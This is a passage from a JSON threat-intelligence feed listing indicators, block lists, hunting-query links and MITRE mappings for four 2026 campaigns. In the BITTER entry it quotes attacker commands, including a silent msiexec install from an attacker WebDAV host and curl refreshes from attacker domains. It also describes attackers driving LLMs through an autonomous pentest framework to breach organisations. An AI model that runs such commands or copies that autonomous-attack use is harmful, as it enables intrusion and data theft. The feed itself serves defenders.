"https://www.bitdefender.com/en-us/blog/labs/nikke-game-launcher-malware", "source_label": "Bitdefender Labs – Attackers turn NIKKE's game launcher into malware", "source_name": "Bitdefender", "sources": [ { "url": "https://www.bitdefender.com/en-us/blog/labs/nikke-game-launcher-malware", "name": "Bitdefender" } ] }, { "value": "analytics.insightjs.com", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "Payload host that served /comm/assets/insight.bundle, the LuaJIT k2f-agent bundle, and resolved to 89.127.233.127 during the attack.", "source_url": "https://www.bitdefender.com/en-us/blog/labs/nikke-game-launcher-malware", "source_label": "Bitdefender Labs – Attackers turn NIKKE's game launcher into malware", "source_name": "Bitdefender", "sources": [ { "url": "https://www.bitdefender.com/en-us/blog/labs/nikke-game-launcher-malware", "name": "Bitdefender" } ] }, { "value": "89.127.233.127", "type": "ipv4", "confidence": "high", "recommended_action": "block", "description": "Icelandic address that resolved for analytics.insightjs.com while the stealer was being delivered. The hosting provider has since taken the server down.", "source_url": "https://www.bitdefender.com/en-us/blog/labs/nikke-game-launcher-malware", "source_label": "Bitdefender Labs – Attackers turn NIKKE's game launcher into malware", "source_name": "Bitdefender", "sources": [ { "url": "https://www.bitdefender.com/en-us/blog/labs/nikke-game-launcher-malware", "name": "Bitdefender" } ] }, { "value": "https://analytics.insightjs.com/comm/assets/insight.bundle", "type": "url", "confidence": "high", "recommended_action": "block", "description": "URL of the k2f-agent payload bundle fetched through the launcher's server-pushed task channel.", "source_url": "https://www.bitdefender.com/en-us/blog/labs/nikke-game-launcher-malware", "source_label": "Bitdefender Labs – Attackers turn NIKKE's game launcher into malware", "source_name": "Bitdefender", "sources": [ { "url": "https://www.bitdefender.com/en-us/blog/labs/nikke-game-launcher-malware", "name": "Bitdefender" } ] }, { "value": "cc0ad05bfe85940a6067b3a72c182d3953339129206634141926d5d0b35973ec", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "SHA256 of the k2f-agent payload Bitdefender recovered from the campaign.", "source_url": "https://www.bitdefender.com/en-us/blog/labs/nikke-game-launcher-malware", "source_label": "Bitdefender Labs – Attackers turn NIKKE's game launcher into malware", "source_name": "Bitdefender", "sources": [ { "url": "https://www.bitdefender.com/en-us/blog/labs/nikke-game-launcher-malware", "name": "Bitdefender" } ] }, { "value": "Launcher\\log\\tinyget\\tinyget.*.log", "type": "filename", "confidence": "medium", "recommended_action": "alert", "description": "Path of the disguised log file that held the LuaJIT bytecode payload under the NIKKE Launcher log folder. The file is usually deleted within minutes.", "source_url": "https://www.bitdefender.com/en-us/blog/labs/nikke-game-launcher-malware", "source_label": "Bitdefender Labs – Attackers turn NIKKE's game launcher into malware", "source_name": "Bitdefender", "sources": [ { "url": "https://www.bitdefender.com/en-us/blog/labs/nikke-game-launcher-malware", "name": "Bitdefender" } ] }, { "value": "%TEMP%\\k2f-bcreds-*.db", "type": "filename", "confidence": "medium", "recommended_action": "alert", "description": "Temporary database the stealer writes with collected browser credentials, including -wal, -shm and -journal siblings.", "source_url": "https://www.bitdefender.com/en-us/blog/labs/nikke-game-launcher-malware", "source_label": "Bitdefender Labs – Attackers turn NIKKE's game launcher into malware", "source_name": "Bitdefender", "sources": [ { "url": "https://www.bitdefender.com/en-us/blog/labs/nikke-game-launcher-malware", "name": "Bitdefender" } ] }, { "value": "722b99d8d0e9", "type": "other", "confidence": "high", "recommended_action": "alert", "description": "Payload build tag K2F_LUA_BUILD = \"722b99d8d0e9\" recovered from the decompiled k2f-agent source.", "source_url": "https://www.bitdefender.com/en-us/blog/labs/nikke-game-launcher-malware", "source_label": "Bitdefender Labs – Attackers turn NIKKE's game launcher into malware", "source_name": "Bitdefender", "sources": [ { "url": "https://www.bitdefender.com/en-us/blog/labs/nikke-game-launcher-malware", "name": "Bitdefender" } ] }, { "value": "k2f_chan registered", "type": "other", "confidence": "high", "recommended_action": "alert", "description": "Log string indicating the malicious Lua agent registered its k2f_chan service on the launcher's JS bridge and executed.", "source_url": "https://www.bitdefender.com/en-us/blog/labs/nikke-game-launcher-malware", "source_label": "Bitdefender Labs – Attackers turn NIKKE's game launcher into malware", "source_name": "Bitdefender", "sources": [ { "url": "https://www.bitdefender.com/en-us/blog/labs/nikke-game-launcher-malware", "name": "Bitdefender" } ] } ], "queries": [ { "platform": "Defender XDR", "language": "KQL", "name": "hunt.kql", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/NIKKE-Launcher-k2f-agent-Credential-Theft/hunt.kql", "download": "NIKKE-Launcher-k2f-agent-Credential-Theft_hunt.kql" }, { "platform": "Splunk", "language": "SPL", "name": "hunt.spl", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/NIKKE-Launcher-k2f-agent-Credential-Theft/hunt.spl", "download": "NIKKE-Launcher-k2f-agent-Credential-Theft_hunt.spl", "alt": { "label": "No CIM? Raw-search version", "name": "hunt_raw.spl", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/NIKKE-Launcher-k2f-agent-Credential-Theft/hunt_raw.spl", "download": "NIKKE-Launcher-k2f-agent-Credential-Theft_hunt_raw.spl" } }, { "platform": "Google SecOps", "language": "YARA-L 2.0", "name": "hunt.yaral", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/NIKKE-Launcher-k2f-agent-Credential-Theft/hunt.yaral", "download": "NIKKE-Launcher-k2f-agent-Credential-Theft_hunt.yaral" } ] }, { "id": "Teams-Booking-Flow-Device-Code-Phishing", "folder": "threats/2026-11_November-2026/2026-11-12/Teams-Booking-Flow-Device-Code-Phishing", "name": "Microsoft Teams Booking-Flow Device-Code Phishing", "short": "Teams booking-flow device-code phishing", "category": "Phishing / identity", "published": "2026-11-12", "entry_date": "2026-11-12 22:55", "last_updated": "2026-11-12", "seq": 37, "headline": "Device-code phishing hidden inside a fake Microsoft Teams meeting-booking flow, with backend on gpimmlgration.com", "summary": "Huntress reports a mid-October device-code phishing incident against a construction-sector company that hid the Microsoft device-code flow inside a convincing Microsoft Teams meeting-booking page. The spear-phishing email impersonated a real senior vice president at another construction firm, using a typo-squatted domain that Huntress has redacted, and a Microsoft Safe Links-wrapped Google short link to reach a lure that looked like a Teams Meeting Scheduler. Behind the scenes the page started a device-code sign-in; when the target clicked Confirm Meeting the user code was copied to the clipboard and Microsoft's real device-login page opened. Completing that step authorised a Cmsi:Cmsi Microsoft Authentication Broker session, which the attacker then replayed through a residential proxy. The phishing kit was delivered as AES-256-GCM ciphertext and talked to gpimmlgration.com/static-export. That domain and URL are on the block list. Do not block Microsoft or Google; the specific short-link query is alert only.", "caveat": "Huntress redacted the typo-squatted lure domain, so it is not listed. The Google short link sits on a legitimate service: alert on the specific query, do not block share.google. Microsoft's device-login page is genuine and must not be blocked.", "targets": { "countries": [], "regions": [], "sectors": [ "Construction" ], "note": "Huntress observed the mid-October incident at a company in the construction sector and redacted the impersonated firm and typo-squatted domain. No other victims are named.", "source": { "url": "https://www.huntress.com/blog/crafty-microsoft-teams-booking-flow-disguises-device-code-phishing", "label": "Huntress – Crafty Microsoft Teams Booking Flow Disguises Device Code Phishing", "name": "Huntress" } }, "mitre": [ { "id": "T1583.001", "name": "Domains", "url": "https://attack.mitre.org/techniques/T1583/001/" }, { "id": "T1566.002", "name": "Spearphishing Link", "url": "https://attack.mitre.org/techniques/T1566/002/" }, { "id": "T1204.001", "name": "Malicious Link", "url": "https://attack.mitre.org/techniques/T1204/001/" }, { "id": "T1528", "name": "Steal Application Access Token", "url": "https://attack.mitre.org/techniques/T1528/" }, { "id": "T1557", "name": "Adversary-in-the-Middle", "url": "https://attack.mitre.org/techniques/T1557/" }, { "id": "T1550.004", "name": "Web Session Cookie", "url": "https://attack.mitre.org/techniques/T1550/004/" }, { "id": "T1090", "name": "Proxy", "url": "https://attack.mitre.org/techniques/T1090/" }, { "id": "T1078.004", "name": "Cloud Accounts", "url": "https://attack.mitre.org/techniques/T1078/004/" } ], "recommended_actions": [ "Block gpimmlgration.com and https://gpimmlgration.com/static-export, and search email, proxy and DNS logs for them and for the short-link query UltJkMsVWI5V9GJM1.", "Hunt Entra ID sign-in logs for unexpected Cmsi:Cmsi or device-code authentications after a meeting-booking lure, for programmatic user agents such as python-requests or node, and for a mid-session change of ASN or region.", "Restrict or monitor device-code authentication where it is not required, enforce phishing-resistant MFA, and after a confirmed hit check for rogue MFA methods, unrecognised devices, app consents, mailbox rules and unusual outbound mail.", "Train staff that a meeting-booking page which asks them to copy or enter a Microsoft code should be verified out of band before they approve it." ], "sources": [ { "url": "https://www.huntress.com/blog/crafty-microsoft-teams-booking-flow-disguises-device-code-phishing", "label": "Huntress – Crafty Microsoft Teams Booking Flow Disguises Device Code Phishing", "name": "Huntress" } ], "indicator_count": 4, "block_now_count": 2, "hunt_count": 2, "hunt_counts": { "alert": 2 }, "indicator_counts": { "url": 2, "domain": 1, "other": 1 }, "ioas": [ { "artefact": "An unexpected Microsoft device-code or Cmsi:Cmsi Authentication Broker sign-in that follows a Teams meeting-booking page, a Confirm Meeting control that copies a code to the clipboard, or a link through share.google/?q=UltJkMsVWI5V9GJM1", "log_source": "Entra ID / Microsoft 365 sign-in logs, email safe-link and URL logs, endpoint clipboard or browser events", "why": "Huntress saw a typo-squatted executive lure that walked the target through a fake Microsoft Teams Meeting Scheduler, silently started a device-code request, copied the user code when they confirmed the meeting, then opened Microsoft's real device-login page. Completing that step hands the attacker the session.", "action": "alert", "has_query": false, "source_url": "https://www.huntress.com/blog/crafty-microsoft-teams-booking-flow-disguises-device-code-phishing", "source_name": "Huntress", "title": "An unexpected Microsoft device-code or Cmsi:Cmsi Authentication Broker...", "queries": [] }, { "artefact": "Device-code or Cmsi:Cmsi sign-ins from programmatic user agents such as python-requests or node, or a mid-session change of ASN or region consistent with a residential proxy", "log_source": "Entra ID interactive and non-interactive sign-in logs", "why": "Huntress saw the captured session replayed through a residential callback proxy so it looked like ordinary consumer traffic, and noted programmatic user agents in the sign-in logs. The kit also restarts the device-code flow when Microsoft returns AADSTS50076 or interaction_required.", "action": "alert", "has_query": false, "source_url": "https://www.huntress.com/blog/crafty-microsoft-teams-booking-flow-disguises-device-code-phishing", "source_name": "Huntress", "title": "Device-code or Cmsi:Cmsi sign-ins from programmatic user agents such as...", "queries": [] } ], "ioa_count": 2, "ioa_note": "Behaviours are leads, not confirmed indicators, and can match legitimate activity. Compare any hit against your own baseline and environment before acting.", "files": [ { "name": "block_now.txt", "label": "Block list", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/Teams-Booking-Flow-Device-Code-Phishing/block_now.txt", "download": "Teams-Booking-Flow-Device-Code-Phishing_block_now.txt" }, { "name": "defender_xdr_indicators.csv", "label": "Defender XDR import", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/Teams-Booking-Flow-Device-Code-Phishing/defender_xdr_indicators.csv", "download": "Teams-Booking-Flow-Device-Code-Phishing_defender_xdr_indicators.csv" }, { "name": "hunt.kql", "label": "Hunting query (KQL)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/Teams-Booking-Flow-Device-Code-Phishing/hunt.kql", "download": "Teams-Booking-Flow-Device-Code-Phishing_hunt.kql" }, { "name": "hunt.spl", "label": "Hunting query (SPL)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/Teams-Booking-Flow-Device-Code-Phishing/hunt.spl", "download": "Teams-Booking-Flow-Device-Code-Phishing_hunt.spl" }, { "name": "hunt_raw.spl", "label": "Hunting query (SPL, raw events)", "note": "hunt_raw.spl, for data not mapped to CIM", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/Teams-Booking-Flow-Device-Code-Phishing/hunt_raw.spl", "download": "Teams-Booking-Flow-Device-Code-Phishing_hunt_raw.spl" }, { "name": "hunt.yaral", "label": "Hunting query (YARA-L 2.0)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/Teams-Booking-Flow-Device-Code-Phishing/hunt.yaral", "download": "Teams-Booking-Flow-Device-Code-Phishing_hunt.yaral" }, { "name": "iocs.csv", "label": "All indicators (CSV)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/Teams-Booking-Flow-Device-Code-Phishing/iocs.csv", "download": "Teams-Booking-Flow-Device-Code-Phishing_iocs.csv" } ], "repo_url": "https://github.com/daniyyell-dev/rapid-threat-intel/tree/main/threats/2026-11_November-2026/2026-11-12/Teams-Booking-Flow-Device-Code-Phishing", "share_url": "https://iocwatch.com/t/Teams-Booking-Flow-Device-Code-Phishing/", "indicators": [ { "value": "gpimmlgration.com", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "Attacker-controlled backend that hosted the encrypted Teams booking-flow phishing kit at /static-export.", "source_url": "https://www.huntress.com/blog/crafty-microsoft-teams-booking-flow-disguises-device-code-phishing", "source_label": "Huntress – Crafty Microsoft Teams Booking Flow Disguises Device Code Phishing", "source_name": "Huntress", "sources": [ { "url": "https://www.huntress.com/blog/crafty-microsoft-teams-booking-flow-disguises-device-code-phishing", "name": "Huntress" } ] }, { "value": "https://gpimmlgration.com/static-export", "type": "url", "confidence": "high", "recommended_action": "block", "description": "Backend URL the decrypted phishing kit's fetch hooks used for API calls during the fake Microsoft Teams meeting-booking flow.", "source_url": "https://www.huntress.com/blog/crafty-microsoft-teams-booking-flow-disguises-device-code-phishing", "source_label": "Huntress – Crafty Microsoft Teams Booking Flow Disguises Device Code Phishing", "source_name": "Huntress", "sources": [ { "url": "https://www.huntress.com/blog/crafty-microsoft-teams-booking-flow-disguises-device-code-phishing", "name": "Huntress" } ] }, { "value": "https://share.google/?q=UltJkMsVWI5V9GJM1", "type": "url", "confidence": "medium", "recommended_action": "alert", "description": "Google short link used in the spear-phishing email, wrapped by Microsoft Safe Links, which redirected to the typo-squatted lure page.", "source_url": "https://www.huntress.com/blog/crafty-microsoft-teams-booking-flow-disguises-device-code-phishing", "source_label": "Huntress – Crafty Microsoft Teams Booking Flow Disguises Device Code Phishing", "source_name": "Huntress", "sources": [ { "url": "https://www.huntress.com/blog/crafty-microsoft-teams-booking-flow-disguises-device-code-phishing", "name": "Huntress" } ] }, { "value": "Cmsi:Cmsi", "type": "other", "confidence": "high", "recommended_action": "alert", "description": "Microsoft Authentication Broker device-code login type observed once the victim entered the copied booking-reference code on Microsoft's real device sign-in page.", "source_url": "https://www.huntress.com/blog/crafty-microsoft-teams-booking-flow-disguises-device-code-phishing", "source_label": "Huntress – Crafty Microsoft Teams Booking Flow Disguises Device Code Phishing", "source_name": "Huntress", "sources": [ { "url": "https://www.huntress.com/blog/crafty-microsoft-teams-booking-flow-disguises-device-code-phishing", "name": "Huntress" } ] } ], "queries": [ { "platform": "Defender XDR", "language": "KQL", "name": "hunt.kql", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/Teams-Booking-Flow-Device-Code-Phishing/hunt.kql", "download": "Teams-Booking-Flow-Device-Code-Phishing_hunt.kql" }, { "platform": "Splunk", "language": "SPL", "name": "hunt.spl", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/Teams-Booking-Flow-Device-Code-Phishing/hunt.spl", "download": "Teams-Booking-Flow-Device-Code-Phishing_hunt.spl", "alt": { "label": "No CIM? Raw-search version", "name": "hunt_raw.spl", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/Teams-Booking-Flow-Device-Code-Phishing/hunt_raw.spl", "download": "Teams-Booking-Flow-Device-Code-Phishing_hunt_raw.spl" } }, { "platform": "Google SecOps", "language": "YARA-L 2.0", "name": "hunt.yaral", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/Teams-Booking-Flow-Device-Code-Phishing/hunt.yaral", "download": "Teams-Booking-Flow-Device-Code-Phishing_hunt.yaral" } ] }, { "id": "CL-STA-1238-Cairn-Autonomous-AI-Intrusions", "folder": "threats/2026-11_November-2026/2026-11-12/CL-STA-1238-Cairn-Autonomous-AI-Intrusions", "name": "CL-STA-1238: Autonomous AI Intrusions with the Cairn Framework Against Semiconductor, Defence and Civil Society", "short": "CL-STA-1238 Cairn", "category": "Nation-state / AI-driven intrusion", "published": "2026-11-12", "entry_date": "2026-11-12 18:20", "last_updated": "2026-11-12", "seq": 36, "headline": "China-nexus operator running the Cairn AI pentest framework autonomously against semiconductor, defence and civil-society targets", "summary": "Unit 42 reports that from August to September 2026 Chinese-speaking attackers, tracked as CL-STA-1238 and assessed with moderate confidence as China-nexus intelligence collection, ran a customised fork of the open-source Cairn penetration-testing framework with the Zhipu GLM and DeepSeek models to run 25 largely autonomous operations against at least 19 organisations. Targets were the semiconductor and advanced-manufacturing supply chain, defence and defence policy, and human-rights and civil-society groups. The operator gave each task a root domain and a one-line goal, sometimes with VPN gateway addresses, group names and shared passwords gathered beforehand, and the framework planned and ran reconnaissance, web and middleware exploitation, credential collection and persistence on its own for 20 minutes to more than 50 hours. Unit 42 confirmed access or data theft at 10 organisations through weak-password spraying, brute-forced production credentials, unauthenticated account-creation bypasses, insecure direct object references, mass-assignment privilege escalation, exposed cloud storage and old public CVEs, leading to new administrator accounts and a persistent API token in one production system, more than one million member records at another and an overwritten standards-ballot document. The Cairn hosting server and the staging and egress server are on the block list.", "caveat": "Single-source indicators (Unit 42); both are attacker-run VPS addresses and may be reassigned later, so review older hits in context. The intrusions used known weaknesses rather than malware, so the IPs are the only published network indicators.", "targets": { "countries": [ { "code": "US", "name": "United States" }, { "code": "CA", "name": "Canada" } ], "regions": [ "North America" ], "sectors": [ "Semiconductors", "Manufacturing", "Defence", "Government / policy", "Civil society", "Education" ], "note": "Unit 42 names a U.S. defence-policy programme, a U.S. teachers' union and a Canadian human-rights body among 19 targeted organisations, alongside semiconductor, manufacturing and standards organisations whose countries are not stated.", "source": { "url": "https://unit42.paloaltonetworks.com/cairn-framework-ai-autonomous-attacks/", "label": "Unit 42 – Attackers Use Autonomous AI to Target Semiconductor, Defense and Civil Society Sectors", "name": "Unit 42" } }, "mitre": [ { "id": "T1583.003", "name": "Virtual Private Server", "url": "https://attack.mitre.org/techniques/T1583/003/" }, { "id": "T1595", "name": "Active Scanning", "url": "https://attack.mitre.org/techniques/T1595/" }, { "id": "T1110.003", "name": "Password Spraying", "url": "https://attack.mitre.org/techniques/T1110/003/" }, { "id": "T1110.001", "name": "Password Guessing", "url": "https://attack.mitre.org/techniques/T1110/001/" }, { "id": "T1190", "name": "Exploit Public-Facing Application", "url": "https://attack.mitre.org/techniques/T1190/" }, { "id": "T1078", "name": "Valid Accounts", "url": "https://attack.mitre.org/techniques/T1078/" }, { "id": "T1136", "name": "Create Account", "url": "https://attack.mitre.org/techniques/T1136/" }, { "id": "T1098", "name": "Account Manipulation", "url": "https://attack.mitre.org/techniques/T1098/" }, { "id": "T1530", "name": "Data from Cloud Storage", "url": "https://attack.mitre.org/techniques/T1530/" }, { "id": "T1565.001", "name": "Stored Data Manipulation", "url": "https://attack.mitre.org/techniques/T1565/001/" } ], "recommended_actions": [ "Block 154.44.31.4 and 82.29.129.54 and search 90 days of firewall, WAF, VPN and identity logs for them, especially from August 2026.", "Review internet-facing applications for password spraying and brute force from a single source, and enforce MFA and lockout on partner-integration, CMS and VPN logins.", "Look for new administrator accounts, new API tokens and self-registered accounts on internet-facing applications that nobody requested.", "Close open self-registration and backend registration endpoints, fix insecure direct object references and mass-assignment flaws, and patch old public CVEs on exposed services." ], "sources": [ { "url": "https://unit42.paloaltonetworks.com/cairn-framework-ai-autonomous-attacks/", "label": "Unit 42 – Attackers Use Autonomous AI to Target Semiconductor, Defense and Civil Society Sectors", "name": "Unit 42" }, { "url": "https://www.helpnetsecurity.com/2026/11/12/cairn-autonomous-ai-cyberattacks/", "label": "Help Net Security – Attackers breached 10 organizations with an open-source AI pentest framework", "name": "Help Net Security" } ], "indicator_count": 2, "block_now_count": 2, "hunt_count": 0, "hunt_counts": {}, "indicator_counts": { "ipv4": 2 }, "ioas": [], "ioa_count": 0, "ioa_note": null, "files": [ { "name": "block_now.txt", "label": "Block list", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/CL-STA-1238-Cairn-Autonomous-AI-Intrusions/block_now.txt", "download": "CL-STA-1238-Cairn-Autonomous-AI-Intrusions_block_now.txt" }, { "name": "defender_xdr_indicators.csv", "label": "Defender XDR import", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/CL-STA-1238-Cairn-Autonomous-AI-Intrusions/defender_xdr_indicators.csv", "download": "CL-STA-1238-Cairn-Autonomous-AI-Intrusions_defender_xdr_indicators.csv" }, { "name": "hunt.kql", "label": "Hunting query (KQL)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/CL-STA-1238-Cairn-Autonomous-AI-Intrusions/hunt.kql", "download": "CL-STA-1238-Cairn-Autonomous-AI-Intrusions_hunt.kql" }, { "name": "hunt.spl", "label": "Hunting query (SPL)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/CL-STA-1238-Cairn-Autonomous-AI-Intrusions/hunt.spl", "download": "CL-STA-1238-Cairn-Autonomous-AI-Intrusions_hunt.spl" }, { "name": "hunt_raw.spl", "label": "Hunting query (SPL, raw events)", "note": "hunt_raw.spl, for data not mapped to CIM", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/CL-STA-1238-Cairn-Autonomous-AI-Intrusions/hunt_raw.spl", "download": "CL-STA-1238-Cairn-Autonomous-AI-Intrusions_hunt_raw.spl" }, { "name": "hunt.yaral", "label": "Hunting query (YARA-L 2.0)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/CL-STA-1238-Cairn-Autonomous-AI-Intrusions/hunt.yaral", "download": "CL-STA-1238-Cairn-Autonomous-AI-Intrusions_hunt.yaral" }, { "name": "iocs.csv", "label": "All indicators (CSV)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/CL-STA-1238-Cairn-Autonomous-AI-Intrusions/iocs.csv", "download": "CL-STA-1238-Cairn-Autonomous-AI-Intrusions_iocs.csv" } ], "repo_url": "https://github.com/daniyyell-dev/rapid-threat-intel/tree/main/threats/2026-11_November-2026/2026-11-12/CL-STA-1238-Cairn-Autonomous-AI-Intrusions", "share_url": "https://iocwatch.com/t/CL-STA-1238-Cairn-Autonomous-AI-Intrusions/", "indicators": [ { "value": "154.44.31.4", "type": "ipv4", "confidence": "high", "recommended_action": "block", "description": "Hong Kong server that hosted the attackers' customised Cairn autonomous attack framework and its controller login page.", "source_url": "https://unit42.paloaltonetworks.com/cairn-framework-ai-autonomous-attacks/", "source_label": "Unit 42 – Attackers Use Autonomous AI to Target Semiconductor, Defense and Civil Society Sectors", "source_name": "Unit 42", "sources": [ { "url": "https://unit42.paloaltonetworks.com/cairn-framework-ai-autonomous-attacks/", "name": "Unit 42" }, { "url": "https://www.helpnetsecurity.com/2026/11/12/cairn-autonomous-ai-cyberattacks/", "name": "Help Net Security" } ] }, { "value": "82.29.129.54", "type": "ipv4", "confidence": "high", "recommended_action": "block", "description": "Staging server and attack egress the Cairn operations used to scan and attack targets.", "source_url": "https://unit42.paloaltonetworks.com/cairn-framework-ai-autonomous-attacks/", "source_label": "Unit 42 – Attackers Use Autonomous AI to Target Semiconductor, Defense and Civil Society Sectors", "source_name": "Unit 42", "sources": [ { "url": "https://unit42.paloaltonetworks.com/cairn-framework-ai-autonomous-attacks/", "name": "Unit 42" }, { "url": "https://www.helpnetsecurity.com/2026/11/12/cairn-autonomous-ai-cyberattacks/", "name": "Help Net Security" } ] } ], "queries": [ { "platform": "Defender XDR", "language": "KQL", "name": "hunt.kql", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/CL-STA-1238-Cairn-Autonomous-AI-Intrusions/hunt.kql", "download": "CL-STA-1238-Cairn-Autonomous-AI-Intrusions_hunt.kql" }, { "platform": "Splunk", "language": "SPL", "name": "hunt.spl", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/CL-STA-1238-Cairn-Autonomous-AI-Intrusions/hunt.spl", "download": "CL-STA-1238-Cairn-Autonomous-AI-Intrusions_hunt.spl", "alt": { "label": "No CIM? Raw-search version", "name": "hunt_raw.spl", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/CL-STA-1238-Cairn-Autonomous-AI-Intrusions/hunt_raw.spl", "download": "CL-STA-1238-Cairn-Autonomous-AI-Intrusions_hunt_raw.spl" } }, { "platform": "Google SecOps", "language": "YARA-L 2.0", "name": "hunt.yaral", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/CL-STA-1238-Cairn-Autonomous-AI-Intrusions/hunt.yaral", "download": "CL-STA-1238-Cairn-Autonomous-AI-Intrusions_hunt.yaral" } ] }, { "id": "BITTER-PapRAT-WmRAT-South-Asia-Espionage", "folder": "threats/2026-11_November-2026/2026-11-12/BITTER-PapRAT-WmRAT-South-Asia-Espionage", "name": "BITTER PapRAT and WmRAT: ftp.exe, VHDX and WebDAV MSI Espionage Chains", "short": "BITTER PapRAT", "category": "Nation-state / espionage", "published": "2026-11-02", "entry_date": "2026-11-12 18:20", "last_updated": "2026-11-12", "seq": 35, "headline": "BITTER espionage chains using ftp.exe, VHDX and WebDAV MSI installs to drop PapRAT and WmRAT", "summary": "FortiGuard Labs attributes with high confidence to BITTER, a suspected South Asian espionage group active since 2013 that targets government, energy and engineering organisations, a campaign against South Asian organisations built on three infection chains and a new remote access trojan, PapRAT. In chain 1, a LNK lure runs the native ftp.exe, whose ! prefix pipes res.ico to cmd; the script creates scheduled tasks such as MicrosoftUpdates\\updates11678 and BiosUpdates\\update101 that run 'conhost --headless cmd /c more |cmd' on files in C:\\users\\public\\music\\err.log or C:\\programdata\\talk.log, refreshed with curl from goodnfortunes.com and techtalkhelp.com, uploads a reconnaissance file to goodnfortunes.com/ucl.php and shows a fake 'Explorer was unable to open this file!' message. In chain 2, a VHDX image holds a LNK that runs 'cmd.exe /c Visa_Details.msi & Attachment-2.xls', and the MSI's only action is a Type 194 custom action that drops PapRAT disguised as bruzsvc.exe ('Microsoft redistributables'). In chain 3, Invitation 2026.url opens a WebDAV share on rappellingaart.com and the next stage runs 'msiexec /i \\\\rappellingaart.com@SSL\\secure-docs\\Imp_Details.msi /qn'. PapRAT, in C++ and Rust builds, polls rivingtonclarks.com or chestergreenfarming.com over HTTP and downloaded WmRAT (vnces.exe), which talks to netmansrvdns.com. All eight domains, five URLs and five hashes are on the block list.", "caveat": "The victims FortiGuard Labs saw are concentrated in South Asia, but the lures and LOLBin chains work against any Windows estate. The ftp.exe and conhost --headless behaviours are strong leads; MSI installs from WebDAV can occur in some software-distribution setups, so baseline them first.", "targets": { "countries": [], "regions": [ "South Asia" ], "sectors": [], "note": "FortiGuard Labs says the campaign targeted South Asian organisations and C2 telemetry is concentrated in South Asia; it names no specific countries or sectors for this campaign.", "source": { "url": "https://www.fortinet.com/blog/threat-research/bitter-expands-its-arsenal-with-paprat", "label": "FortiGuard Labs – BITTER Expands Its Arsenal with PapRAT", "name": "Fortinet" } }, "mitre": [ { "id": "T1566.001", "name": "Spearphishing Attachment", "url": "https://attack.mitre.org/techniques/T1566/001/" }, { "id": "T1204.002", "name": "Malicious File", "url": "https://attack.mitre.org/techniques/T1204/002/" }, { "id": "T1553.005", "name": "Mark-of-the-Web Bypass", "url": "https://attack.mitre.org/techniques/T1553/005/" }, { "id": "T1202", "name": "Indirect Command Execution", "url": "https://attack.mitre.org/techniques/T1202/" }, { "id": "T1053.005", "name": "Scheduled Task", "url": "https://attack.mitre.org/techniques/T1053/005/" }, { "id": "T1218.007", "name": "Msiexec", "url": "https://attack.mitre.org/techniques/T1218/007/" }, { "id": "T1036.005", "name": "Match Legitimate Name or Location", "url": "https://attack.mitre.org/techniques/T1036/005/" }, { "id": "T1105", "name": "Ingress Tool Transfer", "url": "https://attack.mitre.org/techniques/T1105/" }, { "id": "T1071.001", "name": "Web Protocols", "url": "https://attack.mitre.org/techniques/T1071/001/" }, { "id": "T1082", "name": "System Information Discovery", "url": "https://attack.mitre.org/techniques/T1082/" }, { "id": "T1518.001", "name": "Security Software Discovery", "url": "https://attack.mitre.org/techniques/T1518/001/" }, { "id": "T1113", "name": "Screen Capture", "url": "https://attack.mitre.org/techniques/T1113/" }, { "id": "T1041", "name": "Exfiltration Over C2 Channel", "url": "https://attack.mitre.org/techniques/T1041/" } ], "recommended_actions": [ "Block the eight BITTER domains, five URLs and five hashes (they are in the Defender XDR import file) and search 90 days of DNS and proxy logs for them.", "Hunt for ftp.exe launched by 